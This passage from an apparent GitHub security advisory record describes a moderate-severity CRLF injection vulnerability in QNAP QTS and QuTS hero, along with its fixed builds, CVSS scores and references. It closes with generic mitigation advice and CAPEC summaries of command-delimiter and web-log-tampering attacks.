"nvd_published_at": "2025-03-07T17:15:19Z",
"severity": "MODERATE"
},
"details": "An improper neutralization of CRLF sequences (\u0027CRLF Injection\u0027) vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow remote attackers who have gained administrator access to modify application data.\n\nWe have already fixed the vulnerability in the following versions:\nQTS 5.2.3.3006 build 20250108 and later\nQuTS hero h5.2.3.3006 build 20250108 and later",
"id": "GHSA-744j-f9r9-w6h7",
"modified": "2025-03-07T18:31:06Z",
"published": "2025-03-07T18:31:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-50405"
},
{
"type": "WEB",
"url": "https://www.qnap.com/en/security-advisory/qsa-24-54"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation
Avoid using CRLF as a special sequence.
Mitigation
Appropriately filter or quote CRLF sequences in user-controlled input.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-81: Web Server Logs Tampering
Web Logs Tampering attacks involve an attacker injecting, deleting or otherwise tampering with the contents of web logs typically for the purposes of masking other malicious behavior. Additionally, writing malicious data to log files may target jobs, filters, reports, and other agents that process the logs in an asynchronous attack pattern. This pattern of attack is similar to "Log Injection-Tampering-Forging" except that in this case, the attack is targeting the logs of the web server and not the application.